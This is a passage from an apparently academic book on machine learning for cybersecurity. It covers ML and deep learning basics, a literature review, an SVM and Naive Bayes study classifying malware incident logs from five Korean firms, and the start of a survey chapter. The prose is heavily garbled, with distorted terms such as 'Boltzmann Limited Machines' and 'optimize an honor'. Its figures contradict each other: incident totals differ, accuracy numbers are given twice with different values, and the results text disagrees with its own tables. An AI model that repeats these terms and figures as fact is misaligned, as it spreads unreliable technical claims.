Inserted data can either be the complete representation of every other sam-
ple or the comparative correlations among specimens. Traditional cluster-
ing algorithms include Dirichlet method, spectrum clustering, hierarchical 
clustering, and the k-means. A further infamous example of unsupervised 
learning is dimension minimization that portrays specimens from a space 
of high dimension over to a lower dimension without losing more data. For 
several cases, the original data is accompanied by increased dimensions, 
and the input dimension needs to be reduced for varied purposes. In clas-
sification, clustering and optimization, the complexity of the prototype as 
well as the required quantity of training samples rise exponentially with the 
dimension of the feature. It is that each dimension’s inputs are normally 
associated and certain dimensions can be skewed by noise and disruption 
that, if not properly treated, can actually decrease the learning output.

C. Reinforcement Learning
Reinforcement learning interprets how and where to map conditions for 
behavior by communicating to the system with analysis seeking to opti-
mize an honor, and without that, it follows a direct overseeing. A Markov 
decision process (MDP) is commonly considered for reinforcement tutor-
ing that adds behaviors and incentives to the MDP. A better model-free 
technique to teaching and learning to address the MDP issue, with no need 
for environmental expertise, is the learning Q feature. The Q feature mea-
sures the likelihood of sum reward by choosing a behavior in a specified 
condition, as well as the normalized Q function gives the highest predicted 
summation benefit achieved by the selecting acts. RL is used in vehicular 
networks for monitoring a temporary modification in wireless settings.
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12.1.3 Deep Learning

Deep Learning is a subdivision of Machine Learning. It is a series of method-
ologies being used in machine learning to design high-level data abstractions. 
It uses model architectures composed of different nonlinear transformations. 
In various machine-learning functions, these have lately made substantial 
progress. Deep learning helps to explain the data representations in super-
vised, unmonitored, and reinforcement learning that can be constructed. 

At just the left, each node in the diagram is the input layer and it signi-
fies an input data dimension. The output layer refers to the necessary out-
puts on the right, while the layers throughout the center are called hidden 
layers. Both the amount of concealed layers and the total nodes in every 
layer is usually the same. A deep technique ensures, as shown in Figure 12.1, 
that it has many hidden layers in the network. Deeper networks, however, 
present fresh problems, including the need for far more training data and 
network gradients that quickly burst or disappear. This deep architecture 
can be trained with the help of speedy machine tools, innovative teaching 
techniques (current activation functions, pre-training) with technological 
innovation (batch standard, residual networks). Deep learning has diverse 
applications like NLP, computer vision and speech recognition. Various 
layouts may be applied to deep learning models based on the applications, 
like convolutionary neural network associated weights between spatial fac-
ets, recurrent neural networks (RNNs) and long-term short-term memory 
associate loads between temporal dimensions.

The goal of deep research is to find a pyramid of functionality through 
input information. It can develop functionality at multiple levels auto-
matically, which enables the device to learn complex mapping functions 
automatically from data. Deep learning’s most distinctive feature is that 
models have deep architectures. In the network, Deep Architecture has 
many hidden units. Conversely, there are just some  hidden layers (1 to 
2 layers) in a shallow architecture. Lately, deep learning algorithms have 
been thoroughly investigated. Depending on their architecture, algorithms 
are classified into two parts:

A. Convolutional Neural Networks (CNN)
Throughout the area of computer vision, fully convolutional neural networks 
(CNNs) have acquired remarkable attention. The precision of image clas-
sification has continually advanced. For generic extraction of features such 
as feature selection, object tracking, classification techniques, information 
retrieval, and picture caption, it also plays a major role. The most essential 
element of deep neural networks in image analysis is the Convolutional 
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Neural Network (CNNs). In computer vision tasks, it is highly efficient and 
widely used. The neural convolution network consists of three forms of lay-
ers: convolution layers, layers of sub-sampling, and layers of total link.

B. Boltzmann Limited Machines
The Restricted Boltzmann Machine (RBM) is a maximum entropy model 
based on electricity. It is comprised of a single layer of unit visible and 
a single  layer of unit concealed. The noticeable units represent the data 
sample input vector, as well as the hidden layers display characteristics that 
have been detached from the visible units. Each visible unit is fitted to a 
hidden layer, while the visible layer or hidden layer doesn’t even have a 
link. Because of the deep learning process, the accuracy of image recogni-
tion and object detection has significantly improved recently.

C. Recurrent Neural Network
To allow usage of sequential knowledge, RNNs are used. Both inputs (and 
outputs) are separate from one another within a typical neural network. In 
order to predict every succeeding word in a sentence, you have to under-
stand the words that occurred before it. Because they perform these tasks 
for each combination of inputs, RNNs are referred to as recurrent, with the 
output based on preprocessed data. In arbitrarily long sequences, RNNs 
may allow usage details, but they are restricted to just some few moves in 
practice. In addition to interpreting machine log data for analysts, an online 
unsupervised deep learning machine has been used. DNN and RNN vari-
ants are tutored in identifying each user’s activity for an individual network 
and simultaneously determine whether user behavior is usual or abnormal, 
everything in realistic time. There were several widely used managements 
in implementing machine learning to the cyber security domain with the 
proposed model. The model was constantly trained in an online manner, 
but it was a tough challenge to prevent suspicious events.

Gavai et al. in 2015 provided a comparative analysis of a supervised 
method and unsupervised methodology utilizing an isolation  for-
est framework for identifying security breaches from network logs. Ryan et 
al. (1998) used neural network-based strategies to one hidden layer of the 
train network to estimate the intrusion of the probability-based network. 
For the probability, a network attack was identified just under 0.5. Yet input 
data were not designed in an online manner and can’t train the system.

Debar et al. in 1992 performed simulation of typical user behavior on a 
network using RNNs. On a generic series of UNIX commands (from login 
to logout), the RNN was educated. Network interference is identified when 
the login to logout series is incorrectly predicted by the qualified network. 
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While this work discusses online training in part, it does not educate the 
network continuously to recognize evolving user preferences in time.

Recurrent neural methods is widely used to identify anomalies in differ-
ent alternative areas, such as mechanical sensor signals for equipment such 
as engines and vehicles.

An integrated review of the text Captchas, an easy, efficient and rapid 
invasion on the Captchas text was  proposed by Tang et al. to evaluate 
security [18]. Utilizing deep learning techniques can effectively target all 
Greek text Captchas located by the world’s top 100 major sites and pro-
duce advanced results. Capability rates vary from 24.6% to 86.69%. With 
the use of a neural network technique, a new figure-based Captcha called 
SACaptcha was also introduced. This is a constructive effort at a positive 
level to enhance the captchas security [19] by the use of deep learning meth-
odologies. Deep learning methods boost key responsibilities: it identifies 
individual characters and behaves as an effective means to boost the protec-
tion of the figure-related Captcha. It has demonstrated that deep learning is 
two sides of a coin. It can be used to invade Captcha or to boost the reliabil-
ity of Captcha. They expected that Captchas’ current text will no longer be 
safe in the future. Other Captcha options are vigorous, and it is still difficult 
to work on the blueprints of latest Captchas that can be safe and functional.

A new technique suggested by Alom and Taha for detecting network inter-
ference with continual K-means clustering using unsupervised deep learn-
ing. In addition, it tested unsupervised Extreme Learning Machine (ELM), 
and clustering approaches to K-means. Amidst the factual assessment on the 
Knowledge Data Discovery framework, it is seen that the deep learning sys-
tem of RBM and Autoencoder (AE) with k-means clustering shows respec-
tively 93.63% and 94.25% precision for network infringement identification. 
RBM with K-means clustering facilitates about 5.2% and 3.52% greater iden-
tification precision compared to K-means and USELM approaches.

Nichols and Robinson portrayed an online-based, unsupervised deep 
learning method in order to identify irregular network scheme from 
machine logs in factual time. For enhanced interpretability, the algorithms 
disintegrate abnormal results into functions of each user’s activity, allowing 
researchers to determine possible risks to insiders. Deep neural network 
frameworks surpass the SVM and the Component Analysis methods.

12.1.4 Machine Learning and Deep Learning: Similarities 
and Differences

Relationship between ML, DL, and AI is full of puzzle. Machine learning is 
an AI division and is closely connected to computational statistics. It also 
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focuses on the use of prediction-making systems. DL is a sub-field in the 
study of ML. The motivation fosters the creation of a neural network that 
imitates the human brain for methodical studying. It imitates an individual 
brain’s role in processing data such as picture, audio and texts.

A. Similitude
Steps which are involved in ML and DL

The ML and DL method mainly uses four comparable stages, except that 
the extraction of features in DL is automated rather than manual.

Methods used in ML and DL
In these three methods, ML / DL are comparable: supervised, unmoni-
tored and semi-supervised. Each instance consists of a captured specimen 
including a mark during supervised learning. The supervised learning 
algorithm analyses the data from the training and maps new instances 
using the results of the study. Unsupervised learning from unlabeled data 
deduces the definition of secret structures. Since the dataset is unclassi-
fied, the precision of the performance of the algorithm cannot be checked, 
and it is possible to summarize and describe only the main features of the 
data. Semi-supervised learning is a way to blend supervised and unsuper-
vised learning. Since the dataset is unlabeled, the precision of the perfor-
mance of the algorithm cannot be checked, and it is possible to summarize 
and describe only the main features of the data. A technique of mixing 
supervised learning and unsupervised learning is semi-supervised learn-
ing. Unlabeled data is used by semi-supervised learning when using 
labeled data for pattern recognition. Using semi-supervised education will 
decrease efforts to mark thus attaining high precision.

B. Discrepancies
ML and DL strategies vary in the following ways:

• Dependencies in data.
 As the data volume grows, its usefulness creates the main dif-

ference between DL and ML. Deep learning approaches don’t 
work better when the data magnitudes are less, as deep learning 
techniques need a huge quantity of data to fully comprehend 
the data. In comparison, the machine-learning approaches uti-
lize the techniques that have been developed, so output is better.

• Dependencies of hardware
 There are several matrix operations needed for the DL algo-

rithm. The GPU is used in large part to effectively enhance 
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matrix calculations. The GPU is, therefore, the hardware 
required for the DL to perform appropriately. DL depends 
on high-performance GPU machines rather than machine 
learning algorithms. 

Production of Functionality
In order to minimize the data complexity and production patterns which 
make learning techniques function easier, the approach of bringing domain 
information into a feature extractor is known as feature processing. In ML, 
an expert must decide most of the characteristics of an application and 
then encode it as a data form. Most ML approaches’ efficiency relies on 
the precision of the extracted attributes. A major dissimilarity between DL 
and conventional machine-learning approaches is attempting to gain high-
level features explicitly from data. DL thus decreases the effort to design a 
function extractor in various problems.

Method for Problem-solving
In the problem-solving technique of using the conventional ML techniques 
to answer challenges, the conventional machine learning generally decom-
poses the challenge into many mini-problems and solves the mini-problems. 
Deep learning solves the problem end-to-end.

• Time for implementation.
 It takes much effort to teach the DL approach as the DL algo-

rithm has several parameters, whereas it takes comparatively 
less time for ML preparation, just seconds to hours. For ML 
and DL, the test time is exactly the same. Compared to ML 
algorithms, the deep learning techniques take minimum 
effort to implement throughout the assessment stage. This 
is not applicable to all ML approaches, most of which need a 
short testing time.

C. Inference 
Ozlem Yavanoglu and Murat Aydos, in the article “A Review on Cyber 
Security: Machine Learning Algorithm Datasets”, in IEEE International 
Machine Learning Algorithms, offered a solid base for researchers to mak-
ing simpler and more educated cybersecurity decisions about machine 
learning and deep learning. Machine learning has some problems in the 
handling of big data, while deep learning success in the sense of big data has 
been checked. An innovative image-based Captcha, called SACaptcha, can 
be used using deep learning techniques to improve security. Unattended 
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deep learning of RBM and AE shows around 92.12% and 91.86% precision 
for detecting network interference with iterative k-mean clustering. In the 
future, an online learning approach will be used to implement a network 
encroaching sensing system for cybersecurity. ML is utilized to create a 
model that identifies and highlights advanced malware by alerting SMEs, 
alerting analysts or producing reports depending on the nature of the secu-
rity incident. With very high precision (90%), the model performs these 
functions. An online unsupervised deep learning approach that generates 
interpretable insider threat assessments in streaming device user logs can 
be used to find abnormal network behavior from machine logs in real 
time. Therefore, this study has achieved its purpose by offering possible 
guidance for future study and will ideally serve as a framework for signif-
icant developments in machine learning and deep learning techniques for 
cybersecurity operations.

12.2 Proposed Method

The key motivating scenario for our work is one in which, as shown in 
Figure 12.1, a centralized centre gathers data produced by many organiza-
tions and thereby maintaining a consolidated dataset reflecting those com-
panies’ combined occurrence. Datasets obtained amidst certain businesses 
are utilized to teach single unified classifier that will thereafter own supe-
rior achievement than any single occurrence associating to a sole business.

Centralised
Classifier

Company 1

Dataset 1 Dataset n

Company n

Figure 12.1 Set of experiments amidst many organizations.
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12.2.1 The Dataset Overview

The dataset represents cases of cybersecurity encroachment for five small-
scale and midsized organizations collected for a span of eleven months by 
South Korea’s Security Center. The center is a public-private collaboration 
funded by government bureau to encourage the splitting among small and 
medium-sized enterprises of knowledge, experience and expertise.

Data is stored for individual SME in a different dossier. There were 4,298 
appearances total. Every appearance, indicated as a series, consists of var-
ious attributes:

Duration and schedule of incidence: This is a quantity that reflects the 
duration and schedule of the occurrence of the event.

Ending Unit: is a quantity that describes the ending device label which 
was affected by the event.

Malevolent code: this is a quantity that represents in the incident the 
name of the malevolent code found.

Response: This is a value that has been added to the response action 
representing the malicious code.

Class of spyware: This is a quantity denoting the class (malicious code) 
of spyware contained in the event.

Detail: this is free text information to clarify some other data related to 
the case.

Following is an entry example from the dataset

(11:58 2017/02/14, tk0265-pc,
Gen: Version. Hikey.89702, virus, deleted,
D:\DG0387\FileData\Specific\Temp\is-BVCU7.com\SetupM.exe) 6.4 

Testing Issues

Our analysis intends to uncover two types of issues in this paper and we 
use a system of classification to address them:

A forward-looking attempt to predict potential aspects of cybersecu-
rity threats is the first challenge. More precisely, how an enterprise will 
foresee potential cybersecurity incidents including ransomware response 
initiatives is a major concern. Here we concentrate on two answers: a) how 
and where to forecast a malicious payload response action, and b) how 
to predict the incident-related form of malware for a malicious payload 
descriptive method.

The second concern is backward-looking to reinforce, for instance, the 
properties of present events as part of a computer forensics point. More 
precisely, how a person should use their experience of reaction behavior in 
directing digital forensics analysis to decide the form of malicious or the 
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name of the malicious software to be investigated. Two issues are addressed 
here: a) how to identify the type of malware centered on the malicious 
software name, and b) how to define the form of malicious based on the 
reaction operation.

12.2.2 Data Analysis and Model for Classification

We explain the procedures that were used for the survey and categorization 
of the set of data in this section. Using KNIME software, a prototype that 
makes use of the most used text mining characteristics such as Snow-ball 
Stemme, Stop Word Remover, Bag-of-Words and n-gram was developed. 
This framework involves three elements: (1) pre-processing and data anal-
ysis, (2) extraction of features, and (3) categorization. The model’s phases 
are characterized below:

Step 1: Statistical analyses and pre-processing: The primary objective 
of pre-processing would be to tidy up noisy data, that helps to improve 
the accuracy of performance by reducing errors in the process of noise 
processing. This is accomplished by removing different personalities and 
stopping syllables such as “a” and “the”, punctuation, and numbers, such as 
query and exclamation points. Furthermore, all sentences are transformed 
into lower-case letter words. For generating the n-gram functions, the sub-
sequent words would be used.

Stage 2: Extraction of features: The extraction of features helps to evalu-
ate and classify and also to prove precision. N-gram and bag-of-words are 
the most commonly used characteristics of text mining. A bag of words is 
generated in this procedure with all of the words (bigram). This bag-of-
words is processed due to the lower frequency by sorting out terms that 
occur at below the minimum frequency and not using the term frequency 
(TF) technique as characteristics.

Phase 3: Classification: Machine learning techniques including Naive 
Bayes (NB) and Support Vector Machine (SVM) are used to carry out 
the classification step. In this stage, the statistical methods of the n-gram 
features are developed, evaluated and contrasted. The dataset is split into 
frames and training tests. For constructing the model, the trained model is 
used, as well as the testing set to assess the model’s performance.

12.3 Experimental Studies and Outcomes Analysis

The purpose including its empirical study is to discover the ability of com-
puter classification algorithms to distinguish between (1) the dramatically 
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various types depending on the provided malicious software, (2) the mar-
ginally multiple kinds of answer depending on the provided malware, 
(3) the different groups of malware focusing on the illegal behavior, and 
(4) the various forms of malware depending on the different responses. 
Two machine learning methods, including Naive Bayes (NB) and Support 
Vector Machine (SVM), were used for the classification process.

We used the data set provided by the Protection Center in South Korea, 
which was picked from five different companies. The data distribution is 
shown in Table 12.1. As stated in Section 3, a centralized hub collected all 
the incidents of the five companies and the appended data was taken into 
the analysis in order to assess the efficiency of the classifiers in differenti-
ating among many categories of occurrences and to investigate how the 
various data collected from many organizations may aid to improve the 
classification correctness.

12.3.1 Metrics on Performance Assessment

Performance metrics, like recall, F-factor, precision and accuracy, recall are 
calculated to determine the achievement of the ML classifiers as denoted 
by the formula.

Accuracy = (number of accurate (TP+TN) forecasts) / (number 
of forecasts (TP+TN+FP+FN))

Precision = TP/ (TP + FP)
Recall = TP / (TP + FN)
F = 2 X (Precision X Recall) / (Precision + Recall)

Table 12.1 Distributing info.

Corporation name Combined occurrences

Corporation 1(O1) 884

Corporation 2(O2) 736

Corporation 3(O3) 876

Corporation 4(O4) 532

Corporation 5(O5) 1502

Total 4530
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Real Positive (TP): An example which is positive and is precisely graded 
as being positive.

Real Negative (TN): An example which is negative and is precisely 
labeled as negative.

False Positive (FP): An example that is negative but is falsely labeled as 
positive.

False Negative (FN): An example that is positive but is falsely labeled as 
negative.

12.3.2 Result and Outcomes

For the four separate problems that were suggested, we outline and evalu-
ate the outcomes of the ML approaches in this section.

12.3.2.1 Issue 1: Classify the Various Categories of Feedback 
Related to the Malevolent Code Provided

Table 12.2 displays the SVM and Naive Bayes classifiers’ classification out-
put information while detecting different types of responses based on the 
malicious code presented. 86% accuracy was attained by SVM, while 83% 
accuracy was obtained by NB. For answer forms “Retrieved” and “Name 

Table 12.2 Classifiers’ success in recognizing various categories of feedback 
related to the harmful codes.

Accuracy

SVM Naïve Bayes

86% 83%

Type Precision Recall F-factor Precision Recall F-factor

Nil 0.11 0.03 0.16 0.22 0.48 0.21

Retrieved 0.10 0.04 0.07 0.03 0.06 0.05

Isolated 0.85 0.83 0.79 0.88 0.61 0.71

Omitted 0.59 0.89 0.75 0.59 0.79 0.73

Indeterminate 0.93 0.86 0.89 0.81 0.78 0.79

Obstructed 0.99 0.97 0.95 0.98 0.99 0.97

Name altered 0.01 0.03 0.06 0.50 0.07 0.04
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Changed,” all NB and SVM provided zero precision, recall and f-factor. 
Though each classifier had 100% accuracy, NB were able to identify the 
result category “Nil” for the rest of the response categories and received a 
50% recall for the “Blocked” response form, recall and f-measure, whilst 
also SVM has nil accuracy, recall, and f-measure regarding this category. 
Moreover, SVM does have the highest recall and f-measure for “Isolated” 
and “Omitted” response forms, while NB has the maximum efficiency. 
Furthermore, SVM has the maximum efficiency for the “Not defined” 
response form, and NB consists of maximum recall and f-measure.

12.3.2.2 Issue 2: Recognition of the Various Categories of Feedback 
Related to the Malware Presented

In recognizing the various kinds of feedback related to the specified mal-
ware, Table 12.3 shows the categorization output information for the SVM 
and Naive Bayes classifiers. SVM and NB obtained 74% and 71.6% accu-
racy, respectively. The answer categories “None”, “Recovered” and “Name 
Changed” were not found by either classifier when comparing the output 
of both classifiers. Furthermore, for the feedback category “Isolated” and 
“Obstructed” and almost comparable accuracy, recall and f-measure for 
feedback types “Not identified” and “Omitted” both classifiers had similar 
precision, recall, and f-measure.

Table 12.3 Classifiers’ success in pinpointing various categories of malware-
related response.

Accuracy

SVM NB

74% 71.6%

Type Precision Recall F-factor Precision Recall F-factor

Nil 0.03 0.01 0.02 0.04 0.01 0.03

Retrieved 0.10 0.50 0.12 0.38 0.20 0.05

Isolated 0.86 0.21 0.19 0.79 0.23 0.16

Omitted 0.89 0.79 0.83 0.91 0.92 0.89

Indeterminate 0.92 0.93 0.89 0.88 0.83 0.91

Obstructed 0.38 0.94 0.73 0.51 0.93 0.72

Name Altered 0.01 0.15 0.21 0.39 0.42 0.18
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12.3.2.3 Issue 3: According to the Malicious Code, Distinguishing 
Various Forms of Malware

In order to classify the various forms of malware in relation with the 
malevolent code, Table 12.4 shows the categorization accomplishment 
data for the SVM and Naive Bayes classifiers. SVM achieved 79% accuracy, 
while NB achieved 73% accuracy. Both classifiers were unable to recognize 
“Internet content” type malware and NB attained a low f-measure, recall 
and accuracy on “Downloaded file” category malware, and SVM aborted 
of type being detected. Furthermore, SVM has the inflated 100% recall for 
“Email attachment” form of malware, and NB has the elevated accuracy 
and f-measure. In addition, SVM has obtained the excessive accuracy and 
f-measure for “Spyware” style malware, and NB deals with the lofty recall. 
SVM obtained the greatest recall and f-measure regarding the malware cat-
egory “Virus”, while NB has the greatest accuracy.

12.3.2.4 Issue 4: Detection of Various Malware Styles Based 
on Different Responses

The classification efficiency specifications of SVM and Naive Bayes clas-
sifiers in recognizing various categories of malware related to various 
responses are presented in Table 12.5. SVM and NB obtained a similar 
94% accuracy. Also, SVM and NB struggled in recognizing “Downloaded 

Table 12.4 Classifier’s success for distinguishing various forms of malware 
related to harmful code.

Accuracy

SVM Naïve Bayes

79% 73%

Type Precision Recall F-factor Precision Recall F-factor

Attachment of 
Mail

0.46 0.90 0.73 0.44 0.73 0.81

Spyware 0.90 0.74 0.86 0.77 0.92 0.79

Virus 0.87 0.80 0.79 0.89 0.48 0.58

Documents 
downloaded

0.01 0.31 0.20 0.31 0.30 0.28

Documents of 
web

0.02 0.10 0.31 0.16 0.21 0.61
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documents” and “Internet content” types of malware, although the two 
classifiers consisted of the same recall, accuracy, and f-measure for “Virus” 
and “Spyware” types of malware.

12.3.3 Discussion 

The identification and classification method using machine learning has 
been influenced by many variables in this study. Below, scrutiny of the final 
evaluations is shown.

The final findings of identifying the different kinds of reactions depend-
ing on the malicious programs provided showed that SVM had been the 
preferred model; however, NB looked better because it was possible to 
identify five varied types of feedbacks, whereas SVM identified barely four 
categories. Whereas the final findings for understanding the varied catego-
ries of feedback to the specified malware revealed that NB and SVM had 
almost equal precision and accuracy for most types of response, recall and 
f-measure in which four types of response could be differentiated by SVM 
and NB. The bad efficiency of the classifiers were indicative of its situa-
tion that the organizations delegated certain malware to many answer cat-
egories (e.g., segregated and name changed was allocated to malware type 
of virus) while the elevated / lesser frequency of a few categories impacted 
the category resulting in an imbalance of the classes. In contrast, its gross 
consequences in the identification of the various categories of malware in 

Table 12.5 Classifiers’ success by defining various forms of malware related to 
the various feedbacks.

Accuracy

SVM NB

94% 94%

Type Precision Recall F-factor Precision Recall F-factor

Attachment of 
mail

0.92 0.79 0.89 0.88 0.79 0.89

Spyware 0.93 0.92 0.94 0.93 0.91 0.92

Virus 0.95 0.92 0.93 0.94 0.92 0.89

Documents 
downloaded

0.01 0.30 0.20 0.04 0.03 0.01

Documents of 
web

0.20 0.20 0.03 0.01 0.02 0.10
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accordance with the malicious code showed why SVM had been the high-
est value, but NB fared much finer because it was able to identify five cat-
egories of malware, while only three types were detected by SVM. Whilst 
the comprehensive outcomes or the recognition of the various categories of 
malware established on the various feedbacks revealed that NB and SVM 
responded better and possessed equivalent cost, recall and f-measure for 
many of these categories of responses wherein SVM and NB would recog-
nize just three various kinds of malware.

Based on the above analysis and on the overall outcomes, we mention 
the following:

1. The (dataset) section disparity as well as the variance of the 
classifications used throughout the five organizations (e.g., 
forms of reactions and categories  of malware) has influ-
enced the quality of the classification, as seen in Table 12.6 
and Table 12.7. The issue cannot be addressed because of the 
reason that we will be attempting to fix the actual case issues 
and try to apply a technique to deal with imbalanced data 
that will lead in changing the data given. 

2. Multi-labeling of some of the groups has influenced the effi-
ciency of the classifiers.

3. Malware forms could potentially be used for malicious code 
[20] detection, even though there is no clear research from 
a security point of view demonstrating that this is possible.

4. The most difficult problem to solve was problem 2.

For the detection of malevolent code feedback types and the identifica-
tion for malware response types, the SVM is more appropriate. In addition 
to malware detection that is focused on malicious code it is still possible to 
use SVM and NB to detect malware types using multiple kinds of feedback 
and their execution outcomes are alike.

12.4 Conclusions and Future Scope

A dataset obtained from five SMEs in South Korea was analyzed in this 
paper to illustrate how a centralized centre can gather experience from 
multiple organizations to educate a single classifier which can predict 
potential cybersecurity features. Moreover, using text mining techniques, 
an analysis was conducted. Experimental findings showed good perfor-
mance of the classifiers when predicting various forms of reaction and 
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malware using machine learning rhythms for the detection of these events 
and their response behavior.

We plan to test other Cybersecurity databases for potential work, and 
analyze the performance of various machine learning algorithms. In addi-
tion, we plan to address how the handling of class imbalance can help to 
increase the precision of the classification.
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Abstract
Machine learning (ML) is the latest buzzword growing rapidly across the world, 
and ML possesses massive potential in numerous domains. ML technology is 
a subset of Artificial Intelligence (AI) and empowers digital machines with the 
ability to learn without being explicitly programmed, i.e., the capability to learn 
from past experiences. Since the last decade, ML technology has been used in 
various domains because it possesses numerous interesting characteristics such as 
adaptability, robustness, learnability, and its ability to take instant actions against 
unexpected challenges. The traditional cybersecurity systems are built on rules, 
attack signatures, and fixed algorithms. Thus, the systems can act only upon the 
‘knowledge’ fed to them and human intervention is continually required for the 
proper functioning of traditional cybersecurity systems. On the other hand, ML 
technology can recognize various patterns from past experiences and is capable of 
predicting or detecting future attacks based on seen or unseen data. The ML tech-
nology is capable of handling massive real-time network data which allows var-
ious issues present in conventional cybersecurity systems to be overcome. In the 
present chapter, various issues related to the applications of ML in cybersecurity 
have been discussed. The effectiveness of applying ML technology in cybersecurity 
affairs has been thoroughly investigated. The contemporary challenges being faced 
by researchers in the realm have been identified and discussed. The current chap-
ter presents available datasets and algorithms for the successful implementation 
of ML technology in the domain of cybersecurity. The datasets are also compared 
across various parameters. Finally, applications of ML practices by three renowned 
businesses, Facebook, Microsoft, and Google are explored.
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Keywords: Machine Learning (ML), cybersecurity, malware, intrusion detection, 
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13.1 Introduction

The term cybersecurity deals with the act of securing electronic devices 
(computers, mobile phones, servers, network systems, etc.); programs, 
data, and the cloud against digital attacks. Sometimes referred to as elec-
tronic information security, the goal of cybersecurity is to protect the 
electronic gadgets and software codes from unauthorized access, mali-
cious attacks, and damage and to guard the services they offer against dis-
ruption or misdirection. Such cyberattacks generally endeavor to access, 
modify and destroy sensitive information; to deceive and extort money 
from users; to malfunction programmed business functions, etc. The realm 
of cybersecurity has become substantially crucial in recent years due to 
the advancement of computing technology; availability of smart devices 
(phones, tablets, TVs, AI-enabled personal assistants, etc.); dependence 
on these devices, and easy access to the Internet. Constant advancement 
and research in cybersecurity programs to guard individuals, businesses, 
critical public infrastructures (banks, hospitals, powerplants, etc.) is the 
essential need in the modern digital era.

The basic principles of cybersecurity say that for a cybersecurity 
approach to be successful, it must possess multiple layers of protection, 
and the three main components of any cybersecurity system, say, people, 
process, and technology must be in harmony with each other to develop 
a strong shield against cyberattacks. In the current scenario, the two tech-
nology trends have greatly influenced cyberattacks and corresponding 
remedies. These are (1) eruption of digital data: data stored in devices and 
clouds, and (2) Internet of Things (IoT): devices connected to an internet 
or network. The landscape of today’s cybercrime includes several security 
threats and breaches, which include malware, phishing, distributed denial 
of service (DDoS), ransomware, advanced persistent threats, money theft, 
intellectual property theft, man in the middle (MITM), drive-by down-
loads, unpatched software, wiper attacks, etc. The list is indeed long. 
Therefore, to deal with such modern-day threats, an advanced and smart 
threat intelligence management system is required.

Machine Learning (ML) is a branch of Artificial Intelligence (AI) that 
equips computer systems and/or programs with the capability to learn 
from experience (data) and improve themselves automatically without the 
need to program them explicitly. ML deals with developing algorithms 
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that allow computer programs to access data and utilize them to learn and 
change actions accordingly. Based on sample (training) data, ML algo-
rithms build a set of rules known as models to predict or to take decisions 
without the direct involvement of humans. Deep Learning (DL) is a subset 
of ML which draws on learning and improving on its own by examining 
algorithms. ML uses simpler concepts than DL; the latter works with a lay-
ered structure of algorithms known as Artificial Neural Networks (ANNs). 
ANNs are developed and designed to imitate the way we humans think 
and learn. The DL models are designed to constantly analyze data with 
algorithms that try to imitate humans to draw conclusions. Such a process 
of learning is far more efficient than that of the standard ML models.

The ability of ML algorithms to make assumptions about the behavior 
of a computer and to adjust the functions it performs is actually a boon 
to secure it from threats. With the capability of scanning billions or tril-
lions of files and identifying potentially malicious ones, the usage of ML 
algorithms in the domain of cybersecurity has been increasing for the past 
few years. In today’s scenario, it is almost impossible to imagine a sound, 
smart and successful cybersecurity system without the notion of ML. ML 
bestows on cybersecurity systems the power of analyzing threat patterns 
and learning from this experience to detect and prevent future attacks with 
similar patterns or signatures. This enables the cybersecurity systems to 
respond against changing behaviors of machines. ML allows the cyberse-
curity systems to be smartly proactive in preventing malicious activities 
and to respond in real time against active attacks. With the power of ML, 
businesses can use their resources more efficiently as it reduces the time 
spent on regular tasks. In simple words, ML makes the practice of cyber-
security more simple, more proactive, more effective, and obviously, less 
expensive.

According to Information Data Corporation (IDC), the market of 
Artificial Intelligence (AI) and ML acquired the ascent of $37 in the past 
four years [1]. Google reports that around 50 to 70 percent of emails in 
Gmail are spam which get filtered automatically using ML algorithms. 
Google takes advantage of ML to analyze, identify and remove threats in 
mobile devices that run on Android. The cloud giant Amazon acquired a 
cybersecurity start-up named ‘harvest.ai’ and launched Macie, a service 
that automates the process of cloud data protection with ML. Apple Inc. 
also applies ML to ensure the security of the users’ information. According 
to Drinkwater [2], ML can be applied in the following realms of cyberse-
curity: (1) to detect and to stop malicious activities; (2) to secure mobile 
devices; (3) to enhance human analysis; (4) to automate repetitive security 
functions; (5) to rectify zero-day vulnerabilities.
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The rest of the chapter is organized as follows: section 13.2 discusses a 
brief literature review; section 13.3 discusses various issues related to ML 
and cybersecurity; section 13.4 sheds light on the ML datasets and algo-
rithms being practiced in cybersecurity; section 13.5 highlights applica-
tions of ML by three leading organizations in cybersecurity; and the final 
section discusses the conclusion of the present work.

13.2 A Brief Literature Review

Dua and Xian [3] provided a rich reference for particular ML solutions to 
the issues of cybersecurity. Their work serves as a state-of-the-art applica-
tion of ML and data mining techniques in cybersecurity. The authors pre-
sented the categorization of ML methods for various tasks like signature, 
anomaly, hybrid, and scan detection; profiling network traffic, etc. They 
also discussed detailed emerging challenges in cybersecurity. Tesfahun and 
Bhaskari [4] used the NSL-KDD dataset to develop an intrusion detection 
system. The authors exploited a technique known as SMOTE (Synthetic 
Minority Oversampling TEchnique) and presented a feature selection 
method to reduce the features of the above training dataset. The authors 
applied random forest classifiers to develop the intrusion detection sys-
tem and based on the empirical results, they claimed that their approach 
reduced the time required to build the model and increased the detection 
rate as well. Ford and Siraj [5] highlighted various applications of ML, like 
phishing detection, intrusion detection, keystroke authentication, cryp-
tography, spam detection in social networks, etc., in the realm of cyberse-
curity. The authors underlined that although ML tools keep systems safe, 
the ML classifiers are themselves vulnerable to malicious attacks. Das and 
Morris [6] presented applications of various ML techniques to cyberse-
curity. They discussed some important datasets like Network packet data, 
NetFlow, DARPA 1998 and 1999, etc., and described working of various 
ML techniques like Bayesian Network for anomaly detection and com-
parison of data with known attack patterns, Decision trees for compari-
son, Clustering for real-time signature detection, Hidden Markov Models 
(HMMs) for intrusion detection, etc. The authors also performed an evalu-
ation of four ML algorithms (Naïve Bayes, Random Forest, OneR and J48) 
on MODBUS data. 

Apruzzese et al. [7] discussed the effectiveness of ML and DL methods 
for cybersecurity. The authors presented a rich review of the literature and 
performed experiments on real-world network traffic and enterprise sys-
tems. The authors presented an analysis of security aspects of ML algorithms 

PROOF



Applications of Machine LearningTechniques 299

for intrusion detection, malware analysis and spam and phishing detec-
tion. The authors also presented a two-level classification of algorithms, 
first as Shallow Learning and Deep Learning, and then as Supervised and 
Unsupervised. The authors explored several issues that may affect the 
application of ML algorithms to cybersecurity. They claimed on an empir-
ical basis that current ML techniques are suffering from many imperfec-
tions which may reduce their effectiveness for cybersecurity issues. Rege 
and Mbah [8] presented ML-based defensive and offensive techniques in 
the realm of cybersecurity. The authors discussed applications of ML in 
implementing cyberattacks and discussed various issues related to them, 
like Threat detection and classification, Network risk scoring, Automated 
routine security tasks and optimized human analysis. The authors also 
discussed the applications of ML in cybercrime. Devakunchari et al. [9] 
presented a review of ML and deep learning (DL) methods in the domain 
of cybersecurity. The authors performed a comparative survey of ML tech-
niques on intrusion detection systems. 

In their review article, Handa et al. [10] discussed various areas of cyber-
